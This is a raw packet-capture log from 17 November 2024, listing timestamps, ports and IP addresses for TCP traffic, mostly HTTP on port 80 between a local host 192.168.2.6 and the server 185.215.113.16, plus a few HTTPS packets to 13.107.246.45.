Nov 17, 2024 12:35:24.231766939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.231776953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.231869936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.231971025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.231992006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232002020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.232002020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.232116938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232136965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232176065 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.232247114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232266903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232286930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232321978 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.232321978 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.232434988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232517958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232537031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232563972 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.232649088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232669115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232688904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232693911 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.232711077 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232744932 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.232891083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232908964 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.232944965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.232976913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233002901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233022928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233026981 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.233124971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233145952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233166933 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.233231068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233247995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233397007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233416080 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233434916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233454943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233470917 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.233475924 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233638048 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233658075 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.233658075 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.233690023 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233707905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233726978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233800888 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.233860016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233892918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233911991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233930111 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.233952045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234118938 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.234118938 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.234118938 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.234195948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234211922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234312057 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234328032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234348059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234432936 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.234433889 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.234463930 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.234466076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234493971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234513998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234533072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234551907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234673977 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.234673977 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.234796047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234814882 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234833956 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234853983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234877110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.234904051 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.235035896 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.235100985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.235109091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.235152006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.235172987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.235192060 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.235210896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.235261917 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.235261917 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.235344887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.275542021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.275599957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.275631905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.275652885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.275672913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.276035070 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.276036024 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.288963079 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.289133072 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.289275885 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.289367914 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.289367914 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.289402008 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.289413929 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.292848110 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.292876959 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.293311119 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.293457031 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.293476105 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.302455902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.302504063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.302526951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.302603960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.302625895 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.302625895 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.302634001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.302651882 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.302737951 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.302773952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.302795887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.302818060 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.302875042 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.302967072 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.303002119 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.303029060 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.303133011 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.344655037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.344681025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.344820023 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.353130102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353172064 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353205919 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353280067 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.353319883 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353343964 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353368998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353393078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353462934 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.353462934 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.353615999 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353636980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353658915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353682995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353751898 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.353801012 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.353965998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.353982925 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354001999 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354022026 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354027033 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.354042053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354063034 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354080915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.354082108 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354103088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354120970 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.354123116 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354135990 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.354142904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354163885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354183912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.354187965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354196072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354204893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354226112 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.354444027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.354696035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354877949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354899883 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354919910 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354939938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354959011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354979038 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.354994059 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355000019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355020046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355040073 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355048895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355051994 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355068922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355087996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355093002 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355107069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355125904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355137110 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355148077 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355185032 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355389118 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355775118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355796099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355813980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355834007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355854988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355873108 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355878115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355899096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355915070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355933905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355953932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355973005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355973005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.355973005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355973005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.355993032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356012106 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356038094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356136084 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.356136084 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.356136084 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.356623888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356643915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356662035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356682062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356703997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356723070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356744051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356750965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.356764078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356786013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356802940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.356822014 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.356822014 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.356822014 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.356888056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.392345905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.392386913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.392407894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.392513990 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.392537117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.392556906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.392575979 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.392672062 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.392672062 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.409106016 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.419874907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.419902086 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.419924974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.419982910 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.420001984 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420023918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420044899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420161009 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.420205116 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420223951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420243979 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.420244932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420262098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420347929 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.420370102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420408010 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.420562983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420582056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420598030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.420758963 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.420758963 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.421884060 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.421897888 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.422832012 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.422838926 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.449157953 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.450053930 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.450053930 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.450083971 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.450104952 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.466502905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.466587067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.466609955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.466722965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.466742992 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.466762066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.466762066 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.466783047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.466803074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.466857910 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.466976881 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.467005014 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.467102051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.467120886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.467143059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.467190981 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.467202902 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.476478100 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.481534958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.481580019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.481605053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.481642008 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.481719971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.481739998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.481760979 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.481782913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.481925011 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.481925011 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482086897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482106924 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482126951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482146978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482167959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482187986 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482208967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482212067 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482212067 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482212067 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482228994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482251883 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482270956 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482454062 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482685089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482707977 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482778072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482800961 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482805014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482827902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482850075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482875109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482896090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482918024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.482944012 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482944012 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482944965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.482952118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483144999 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.483580112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483599901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483617067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483633995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483653069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483669996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483688116 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483705044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483712912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.483712912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.483712912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.483721972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483740091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483758926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483776093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.483848095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.483848095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.483928919 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.484442949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.484467030 CET	80	49751	185.215.113.16	192.168.2.6
